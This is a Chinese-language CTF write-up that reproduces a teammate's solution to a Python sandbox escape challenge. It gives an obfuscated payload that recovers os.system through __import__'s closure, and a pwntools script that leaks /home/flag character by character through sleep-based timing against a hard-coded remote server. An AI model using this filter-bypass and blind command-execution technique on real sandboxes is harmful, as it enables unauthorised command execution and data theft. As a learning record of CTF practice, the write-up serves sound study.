这是队内大佬做出来的,复现一下。
image.png
看到这个题目想到python沙箱逃逸,而且是基于时间的。第一次接触还不是很懂,在这里记录一下。
沙箱逃逸参考:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape-zh/
python沙箱逃逸一些套路的小结
沙箱逃逸我的理解就是,模拟终端,导入一些系统函数,实现任意命令执行。在python上比如说os.system('cat /flag')。如果服务器没有过滤,我们可以直接导入os ,然后就执行命令就会得到flag。 还有很多骚操作我还不懂,还需要继续学习。
对于这道题直接给出payload:
payload += '''__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')'''
payload += '''('a=`cut -f '''
payload += str(1)
payload += ''' /home/flag|cut -c '''
payload += str(count)
payload += '''`; [ $a = "'''
payload += letter
payload += '''" ] && sleep 2 ')'''
#_import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('a=`cut -f 1 /home/flag|cut -c 1`; [ $a = "d" ] && sleep 3 ')
通过盲注的方式,遍历所有可打印字符与flag的字符按顺序比对,如果相等就sleep 3 ,不相等就直接执行下一步命令,所以我们只需要找到运行时间差过两秒的命令就使flag里面的字符之一了。
脚本如下:
from pwn import *
import time
import string
p = remote('47.112.108.17',12312)
alphabet = ['?','!','|','[',']','{','}','_','/','*','-','+','&',"%",'#','@','$','^','~','a','b','c','d','e','f','g','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
#print alphabet
flag = ''
count = 0
sign = 0
print p.recv()
print p.recv()
for i in range(37):
count += 1
sign = 0
for letter in alphabet:
payload = ''
payload += '''__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')'''
payload += '''('a=`cut -f '''
payload += str(1)
payload += ''' /home/flag|cut -c '''
payload += str(count)
payload += '''`; [ $a = "'''
payload += letter
payload += '''" ] && sleep 2 ')'''
a = time.time()
p.sendline(payload)
p.recv()
b = time.time()
if (b-a)>1 :
print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!YES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
flag+=letter
sign = 1
print flag
break
if sign == 0:
print "@@@@@@@@@@@@@@@@@@@@@ERROR@@@@@@@@@@@@@@@@@@@@@@@@@@"
print flag
image.png
网友评论